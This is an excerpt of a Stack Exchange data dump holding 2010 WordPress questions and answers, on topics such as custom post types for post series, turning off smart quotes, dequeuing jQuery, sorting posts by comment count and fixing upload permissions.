  <row Id="1524" PostTypeId="2" ParentId="1521" CreationDate="2010-09-08T15:44:12.797" Score="4" ViewCount="" Body="&lt;p&gt;I assume you're talking about the &quot;Meta&quot; box you see in the sidebar.  These links can't be edited, they're part of the sidebar widget itself.  Your safest bet would be to replace the Meta widget with your own Text widget that lists out whatever links you do want displayed.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-08T15:44:12.797" CommentCount="1" />
  <row Id="1526" PostTypeId="1" AcceptedAnswerId="1527" CreationDate="2010-09-08T16:21:07.510" Score="0" ViewCount="51" Body="&lt;p&gt;One of the best blogging practices is that of writing &quot;pillar posts&quot; - featured content that's longer than a typical post and will likely generate a high volume of traffic to your site.  Extensive tutorials, comprehensive user guides, and in-depth product reviews mostly fall into this category.  They're the 1500-word behemoths that sit alongside your daily 300-word &quot;update&quot; articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the times, pillar posts can be thrown to the top of your site with stickies.  This makes them visible, directs the user's attention, and keeps timeless content relevant.  After a while, though, you might want to promote these posts to static pages - still searchable and useful, but with their own special spot on the blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a series of articles I plan to write over the next month or so regarding the &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;XML-RPC API built in to WordPress&lt;/a&gt;.  It's a great system, but scantily documented ... so I'm going to put together some comprehensive method documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, my docs will cover roughly 5-6 different pillar posts.  I want this content to be featured on my blog when it's published (once per week), but I'd also like the entire series to be repeated as a static page on the site.  The static page would be broken up into individual pages (using &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; to divide sections) so that each post is contained in a different section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have my featured content be both individual posts on the blog and a separate static page?  I'm looking at both usability and SEO here ... having the content duplicated is a huge negative, so a simple copy-paste job with both versions on the site isn't my goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first inkling would be to develop a custom post type for features like this with its own custom taxonomy.  Each &quot;post&quot; would be an individual feature (custom post type) and would be owned by a series (custom taxonomy).  Then each post could be included in the loop when published but also on the archive page for the series.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question (and the reason I'm marking this as a wiki), is how would you approach this situation?&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-08T16:30:55.717" LastActivityDate="2010-09-08T21:02:53.733" CommunityOwnedDate="2010-09-08T16:21:07.510" Title="Implementing Pillar Posts; Long Posts yet with Some Page-Like Handling?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="2" />
  <row Id="1527" PostTypeId="2" ParentId="1526" CreationDate="2010-09-08T16:29:20.167" Score="1" ViewCount="" Body="&lt;p&gt;As I was reading your post I was envisioning almost exactly what you prescribed at the end:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My first inkling would be to develop a&#xA;  custom post type for features like&#xA;  this with its own custom taxonomy.&#xA;  Each &quot;post&quot; would be an individual&#xA;  feature (custom post type) and would&#xA;  be owned by a series (custom&#xA;  taxonomy). Then each post could be&#xA;  included in the loop when published&#xA;  but also on the archive page for the&#xA;  series.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only difference was I was thinking &lt;em&gt;&quot;Pages&quot;&lt;/em&gt; instead of &lt;em&gt;&quot;Features&quot;&lt;/em&gt; mostly because you referred to Pages in your question but Features is probably even better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;your instincts are already spot-on&lt;/strong&gt;, IMO anyway.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-08T16:29:20.167" CommunityOwnedDate="2010-09-08T16:29:20.167" CommentCount="1" />
  <row Id="1528" PostTypeId="1" CreationDate="2010-09-08T16:31:47.797" Score="0" ViewCount="112" Body="&lt;p&gt;&lt;strong&gt;didn't becomes didn''''''''''''''''''t&lt;/strong&gt; in Wordpress WYSIWYG editor. I searched a lot in google then found this solution &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.lancebledsoe.com/how-to-turn-off-wordpress-smart-quotes/&quot; rel=&quot;nofollow&quot;&gt;http://www.lancebledsoe.com/how-to-turn-off-wordpress-smart-quotes/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I followed the steps of this article but when I activated the plugin I got this error at the top of dashboard:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The plugin generated 3 characters of&#xA;  unexpected output during activation.&#xA;  If you notice “headers already sent”&#xA;  messages, problems with syndication&#xA;  feeds or other issues, try&#xA;  deactivating or removing this plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Without checking, it solved the problem or not I deactivated the plugin, thought it can break the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other solution to solved this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WordPress Version is 3.0.1&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-09-08T18:38:21.353" LastActivityDate="2010-09-08T18:38:21.353" Title="Stopping WordPress' WYSIWYG Editor from Converting &quot;didn't&quot; into &quot;didn'''''''''t&quot;?" Tags="&lt;plugins&gt;&lt;errors&gt;&lt;dashboard&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="1529" PostTypeId="1" CreationDate="2010-09-08T16:45:46.207" Score="0" ViewCount="199" Body="&lt;p&gt;I would like to be able to display a list of posts on a page depending on when and how many comments they've got.&#xA;Something similar to how it is here on stackexchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific, I want:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A page with the most commented posts.&lt;/li&gt;&#xA;&lt;li&gt;A page with the most recently commented posts.    &lt;/li&gt;&#xA;&lt;li&gt;A page with all the uncommented posts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Help with this would be very appreciated, thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditorDisplayName="" LastEditDate="2010-09-08T19:06:02.333" LastActivityDate="2010-09-21T13:56:04.583" Title="Displaying Posts Depending on Number of Comments and Latest Comments?" Tags="&lt;comments&gt;&lt;sort&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="1530" PostTypeId="2" ParentId="1507" CreationDate="2010-09-08T16:49:27.757" Score="4" ViewCount="" Body="&lt;p&gt;You can create your custom address to login to your blog. By not using the classic “myblog.com/wp-admin” path to get to your dashboard&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/stealth-login/&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; will help you with creating stealth logins, this is also good for security measures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the ppl who append wp-admin to your blog, won't be able to guess :)&lt;/p&gt;&#xA;" OwnerUserId="692" LastEditorUserId="692" LastEditorDisplayName="" LastEditDate="2010-09-08T17:59:03.473" LastActivityDate="2010-09-08T17:59:03.473" />
  <row Id="1531" PostTypeId="2" ParentId="1520" CreationDate="2010-09-08T16:54:29.663" Score="0" ViewCount="" Body="&lt;p&gt;The easiest way is to edit files in the built-in wordpress editor - you can make backups before editing to be on the safe side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A neat idea to do if you are editing a theme, is test how the changes will look like in firebug - once satisfied, make the changes to the actual theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a plugin called theme test drive - you can edit and preview a theme as an administrator, without the readers being aware of it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above steps, makes editing themes online - on the go way easier :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use also the offline mode, where you install wordpress locally on your computer, finish editing your theme files and upload them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck in ur wordpress adventure :)&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-09-08T16:54:29.663" CommentCount="1" />
  <row Id="1532" PostTypeId="2" ParentId="1430" CreationDate="2010-09-08T16:58:02.777" Score="0" ViewCount="" Body="&lt;p&gt;Try uploading the images using FTP software and see if it gives same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check if there is any plugin auto-creating a thumbnail of the image uploaded in some other directory &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try changing the default file upload location in case this error insists on showing up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope any of this helps (:&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-09-08T16:58:02.777" />
  <row Id="1533" PostTypeId="2" ParentId="1528" CreationDate="2010-09-08T17:13:17.823" Score="1" ViewCount="" Body="&lt;p&gt;The solution at that page is fine. The reason it's generating unexpected output is because you might have accidentally grabbed trailing whitespace when pasting it. If you use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: TurnOffSmartQuotes&#xA;Plugin URI:&#xA;Description: Stops WordPress from converting your quote symbols into smartquotes. The three lines below stop the smartquote conversion in 1) your post content, 2) your comments, and 3) your post excerpts.&#xA;Version: 0.1&#xA;Author: Katja Stokley&#xA;Author URI:&#xA;*/&#xA;remove_filter('the_content', 'wptexturize');&#xA;remove_filter('comment_text', 'wptexturize');&#xA;remove_filter('the_excerpt', 'wptexturize');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why WordPress isn't correctly texturizing &quot;didn't&quot;, but that will fix the problem.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-09-08T17:13:17.823" CommentCount="7" />
  <row Id="1534" PostTypeId="2" ParentId="1379" CreationDate="2010-09-08T17:40:51.130" Score="0" ViewCount="" Body="&lt;p&gt;you can use the stealth login plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/stealth-login/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/stealth-login/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-09-08T17:40:51.130" CommunityOwnedDate="2010-09-08T17:40:51.130" CommentCount="1" />
  <row Id="1535" PostTypeId="1" AcceptedAnswerId="1536" CreationDate="2010-09-08T18:24:15.880" Score="2" ViewCount="522" Body="&lt;p&gt;Wordpress has &lt;code&gt;wp_enqueue_script()&lt;/code&gt; but not a &lt;code&gt;wp_dequeue_script()&lt;/code&gt; function, so what would be the best way to dequeue a script? I'm using &lt;a href=&quot;http://labjs.com/&quot; rel=&quot;nofollow&quot;&gt;LAB.js&lt;/a&gt; to load all of my scripts rather than enqueueing them server side, so I don't want plugins running around adding jQuery 10 times when I'm already loading it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would using &lt;code&gt;wp_deregister_script( 'jquery' )&lt;/code&gt; accomplish the same purpose?&lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2010-09-15T14:42:00.897" LastActivityDate="2010-09-15T14:42:00.897" Title="How to dequeue a script?" Tags="&lt;javascript&gt;&lt;jquery&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1536" PostTypeId="2" ParentId="1535" CreationDate="2010-09-08T18:35:09.530" Score="7" ViewCount="" Body="&lt;p&gt;There is a &lt;code&gt;dequeue&lt;/code&gt; method available ... I'm just not sure why it isn't wrapped in a &lt;code&gt;wp_dequeue_script()&lt;/code&gt; method.  (I might create a ticket for this issue, actually)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But yes, using &lt;code&gt;wp_deregister_script&lt;/code&gt; will accomplish what you're trying to do.  Just remember, if you ever &lt;em&gt;do&lt;/em&gt; want to use WP's built-in jQuery later you'll need to re-queue it first.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-08T18:35:09.530" CommentCount="2" />
  <row Id="1537" PostTypeId="2" ParentId="1466" CreationDate="2010-09-08T19:02:35.147" Score="1" ViewCount="" Body="&lt;p&gt;I have &quot;WordPress Plugin Development - Beginner's Guide&quot; and I like it.  It's not overly &quot;beginner&quot;, and the learning curve is very smooth.  Unfortunately, it's only WP2.7&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2010-09-08T19:02:35.147" CommunityOwnedDate="2010-09-08T19:02:35.147" />
  <row Id="1538" PostTypeId="2" ParentId="1121" CreationDate="2010-09-08T19:07:53.367" Score="0" ViewCount="" Body="&lt;p&gt;I have been using Aaron Brazell's &quot;WordPress Bible&quot; since it came out.  I've known Aaron since before the book was released and he is the one person I could go to with any WP-related question...if he wasn't busy working on other WP stuff :)&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2010-09-08T19:07:53.367" CommunityOwnedDate="2010-09-08T19:07:53.367" />
  <row Id="1539" PostTypeId="2" ParentId="1529" CreationDate="2010-09-08T19:33:39.400" Score="0" ViewCount="" Body="&lt;p&gt;@Patrik - I had a similar problem: In a WPMu installation, show the latest posts in post-order on the main blog.  The easiest solution for me was to create a new table that holds the data for new blog posts (new posts are inserted via a plugin), and query that table for the main page.  You can do the same, and just edit the SQL query to return based on most comments, etc.&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2010-09-08T19:33:39.400" />
  <row Id="1540" PostTypeId="2" ParentId="1521" CreationDate="2010-09-08T19:43:50.927" Score="3" ViewCount="" Body="&lt;p&gt;@Techboy - do you want to add links to what is already there?  If so, you can create a plugin using &lt;code&gt;add_action('wp_meta', 'your_wp_meta_function');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ours has this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function your_wp_meta_function() {&#xA;    global $base, $current_site;&#xA;    echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href=\&quot;http://&quot; . $current_site-&amp;gt;domain . $current_site-&amp;gt;path . &quot;wp-signup.php\&quot; title=\&quot;Create a new blog\&quot;&amp;gt;Start a Blog&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href=\&quot;http://&quot; . $current_site-&amp;gt;domain . $base . &quot;directory.php\&quot; title=\&quot;Blog Directory\&quot;&amp;gt;Blog Directory&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="819" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-09T01:18:58.070" LastActivityDate="2010-09-09T01:18:58.070" />
  <row Id="1541" PostTypeId="2" ParentId="1529" CreationDate="2010-09-08T19:48:35.340" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$query = WP_Query;&#xA;&#xA;foreach ($query['posts'] as $post){&#xA;  $count = $post['comment_count'];&#xA;  while (is_set($comment_sort[$count]){&#xA;   $count--;&#xA;  }    &#xA;  $comment_sort[$count]=$post['ID'];&#xA;}&#xA;&#xA;$sorted = ksort($comment_sort);&#xA;$sorted = array_reverse($sorted);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this should give you an array of post ID's in decending order of comment counts.&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2010-09-08T19:57:01.600" LastActivityDate="2010-09-08T19:57:01.600" />
  <row Id="1542" PostTypeId="1" AcceptedAnswerId="1593" CreationDate="2010-09-08T19:57:57.983" Score="1" ViewCount="696" Body="&lt;p&gt;I'm seeking to customize my categories listing (archive.php) so that it shows a thumbnail image of the first image attached to each post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, apparently the archive.php file is one of those that does not natively support the attachment object. For example, the code below will do most of what I want (though if no attachment is found, I get a blank image, I need to fix that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm afraid having a SELECT in a loop like this is perhaps way too expensive for what I'm trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;?php global $wpdb; $attachment_id = $wpdb-&amp;gt;get_var(&quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_parent = '$post-&amp;gt;ID' AND post_status = 'inherit' AND post_type='attachment' ORDER BY post_date DESC LIMIT 1&quot;); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;searchItem&quot; style=&quot;clear:both;&quot;&amp;gt;&#xA;            &amp;lt;h3 id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo wp_get_attachment_url($attachment_id); ?&amp;gt;&quot; class=&quot;post-attachment&quot; /&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;small&amp;gt;&amp;lt;?php the_time('l, F jS, Y') ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;            &amp;lt;div class=&quot;excerpt&quot;&amp;gt;&amp;lt;?php echo $post-&amp;gt;post_excerpt; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;postmetadata&quot;&amp;gt;Posted in &amp;lt;?php the_category(', ') ?&amp;gt; | &amp;lt;?php comments_popup_link('No Comments &amp;amp;#187;', '1 Comment &amp;amp;#187;', '% Comments &amp;amp;#187;'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-09T20:56:30.623" Title="Showing post thumbnail (attachment) on the archive.php category listing" Tags="&lt;themes&gt;&lt;categories&gt;&lt;archive&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="1543" PostTypeId="1" CreationDate="2010-09-08T20:02:31.780" Score="0" ViewCount="41" Body="&lt;p&gt;I have a WPMu installation on a closed network, and one blog is using the K2 theme, but the Text Widget is not offered as an option.  When I switch the theme to Default, the Text Widget is offered.  If I use K2 on another blog in the installation, I can see the Text widget.  Any ideas on why the Text Widget won't work on K2 on this specific blog?&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2010-11-09T19:00:35.587" Title="In a specific blog, the K2 theme does not have a Text Widget" Tags="&lt;themes&gt;&lt;widgets&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="1544" PostTypeId="1" AcceptedAnswerId="1545" CreationDate="2010-09-08T20:05:58.407" Score="0" ViewCount="83" Body="&lt;p&gt;I have an issue with the new custom menu in WP3. Suddenly the nesting of categories stopped working and even though it's possible to nest them in the UI, when I press Save, then they all go back flat. Any chance someone has experienced this and know a way to fix it? Thanks. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2010-09-08T20:12:16.660" Title="Unable to nest categories in menu" Tags="&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="1545" PostTypeId="2" ParentId="1544" CreationDate="2010-09-08T20:12:16.660" Score="1" ViewCount="" Body="&lt;p&gt;First, &lt;strong&gt;try disabling all of your plugins&lt;/strong&gt;. If that fixes it, re-enable them one by one until you find the culprit.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-09-08T20:12:16.660" />
  <row Id="1546" PostTypeId="1" AcceptedAnswerId="1562" CreationDate="2010-09-08T20:30:42.730" Score="0" ViewCount="240" Body="&lt;p&gt;I'm doing a custom query using WP_query to get posts from a specific category, but for some reason navigation links for the list don't appear. Is there a way to get the newer/older links to show up and work using a custom WP_query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $mainList_query = new WP_Query('cat=4,352,731,754,49,44,54,17&amp;amp;showposts=200&amp;amp;order=DESC'); ?&amp;gt;&#xA;&amp;lt;?php if($mainList_query-&amp;gt;have_posts()) : while($mainList_query-&amp;gt;have_posts()) : $mainList_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;   &amp;lt;div class=&quot;articleSection&quot;&amp;gt;&#xA;&#xA;            &amp;lt;h2 class=&quot;headlinelist&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&quot;byline2&quot;&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt; by &amp;lt;?php the_author() ?&amp;gt; at &amp;lt;?php the_time() ?&amp;gt; &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php if ( in_category( array(754,49,44,54,17) ) ) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/360btn.jpg&quot; width=&quot;67&quot; height=&quot;16&quot; alt=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php if ( in_category(4) ) { ?&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/ps3btn.jpg&quot; /&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;&amp;lt;?php the_tags('Tags: ', ', ', '&amp;lt;br /&amp;gt;'); ?&amp;gt; Posted in &amp;lt;?php the_category(', ') ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;  &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&#xA;  &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;&#xA;   &amp;lt;div class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php next_posts_link('&amp;amp;laquo; Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;   &amp;lt;div class=&quot;alignright&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA; &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;  &amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;&#xA;  &amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA;&#xA;  &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-09-09T06:23:16.920" Title="WP_Query older new links navigation?" Tags="&lt;query&gt;" AnswerCount="1" />
  <row Id="1547" PostTypeId="2" ParentId="1526" CreationDate="2010-09-08T21:02:53.733" Score="1" ViewCount="" Body="&lt;p&gt;You could create a static page with its own loop calling only the posts which belong to your series. Or – much easier – create a custom taxonomie “series” and use &lt;code&gt;the_content()&lt;/code&gt; on (&lt;code&gt;/series/xml-rpc/&lt;/code&gt;) for the loop instead of &lt;code&gt;the_excerpt()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-09-08T21:02:53.733" CommunityOwnedDate="2010-09-08T21:02:53.733" />
  <row Id="1548" PostTypeId="2" ParentId="1430" CreationDate="2010-09-08T21:35:34.970" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Lea,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error happens when PHP (WordPress) can't write to the file.  This is caused by not having write permissions or the username or group that PHP (WordPress) is running under doesn't have permission to write to the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;755 permissions will allow WordPress write permissions when PHP is running as the username under most shared host plans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some FTP programs will allow you to change the user and group assigned to the folders.  You can also make this change using Cpanel's file manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The folders should have the same username as your Cpanel account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some server environments require you to use 777 permissions for PHP to have write access.  This is not secure in a shared hosting environment.  You can change your permissions to 777 temporarily to see if that allows you to upload photos but &lt;strong&gt;MAKE SURE YOU CHANGE THEM BACK TO 755 WHEN YOUR DONE.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your hosting provider should also be able to provide help in this situation.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-08T21:35:34.970" />
  <row Id="1549" PostTypeId="1" AcceptedAnswerId="1559" CreationDate="2010-09-08T21:43:12.797" Score="2" ViewCount="209" Body="&lt;p&gt;A number of the sites I'm migrating to a WordPress Multisite instance have embedded videos and iframes within posts. Rather than convert each post to the kosher way of doing video embeds, I'd rather disable the WordPress functionality which strips out the embeds on import. Disabling the stripping when editing a post was &lt;a href=&quot;http://github.com/danielbachhuber/Unfiltered-HTML&quot; rel=&quot;nofollow&quot;&gt;as simple as disabling the kses filter&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I can't figure out what I need to disable for importing posts. At the moment I suspect the wp_insert_post() method but haven't narrowed down the filter. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; This is specific to WordPress Multisite. Importing into a single WordPress site works just fine.&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="135" LastEditorDisplayName="" LastEditDate="2010-09-08T22:38:57.297" LastActivityDate="2010-09-09T03:48:45.817" Title="Disabling HTML Filtering When Importing Into WordPress Multisite" Tags="&lt;import&gt;" AnswerCount="1" />
  <row Id="1550" PostTypeId="2" ParentId="938" CreationDate="2010-09-08T21:50:31.923" Score="0" ViewCount="" Body="&lt;p&gt;MemberWing allows to build digital online stores with full link sharing protection. Meaning if someone purchased digital product and sent download link to his buddies - they won't be able to access product unless they are premium logged on members as well. &#xA;No so with other softwares - usually once download link is discovered - the whole world can download it for free.&#xA;Additionally I can easily modify MemberWing to allow premium access only from specified group of IP addresses.&#xA;Let me know if you are interested: &lt;a href=&quot;http://www.memberwing.com/contact&quot; rel=&quot;nofollow&quot;&gt;http://www.memberwing.com/contact&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gleb&lt;/p&gt;&#xA;" LastActivityDate="2010-09-08T21:50:31.923" />
  <row Id="1551" PostTypeId="1" AcceptedAnswerId="1557" CreationDate="2010-09-08T21:55:23.023" Score="1" ViewCount="125" Body="&lt;p&gt;I've had a few non-technical clients have a tough time with WordPress' admin UI. One of them asked me today if there were any books that could help someone like him - someone who is only concerned with writing content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the WordPress books I've seen are either targeted toward developers, or have a lot of technical content. What may work best for him is a book that explains terms such as &lt;em&gt;&quot;categories&quot;&lt;/em&gt;, &lt;em&gt;&quot;pages vs posts&quot;&lt;/em&gt;, &lt;em&gt;&quot;widgets&quot;&lt;/em&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;On a side note, it would seem to me that as tools like WordPress get adopted by a larger audience - including non-web-savvy people - there's a great opportunity for a set of guides aimed specifically at content creators and not developers.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know of any books that can help a non-technical, non-web-savvy person write, edit &amp;amp; manage the content of their WordPress-powered site?&lt;/p&gt;&#xA;" OwnerUserId="128" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-11-11T20:31:24.787" LastActivityDate="2010-11-11T20:31:24.787" Title="Recommended Books on WordPress for Management and non-Developers?" Tags="&lt;content&gt;&lt;books&gt;&lt;management&gt;" AnswerCount="3" />
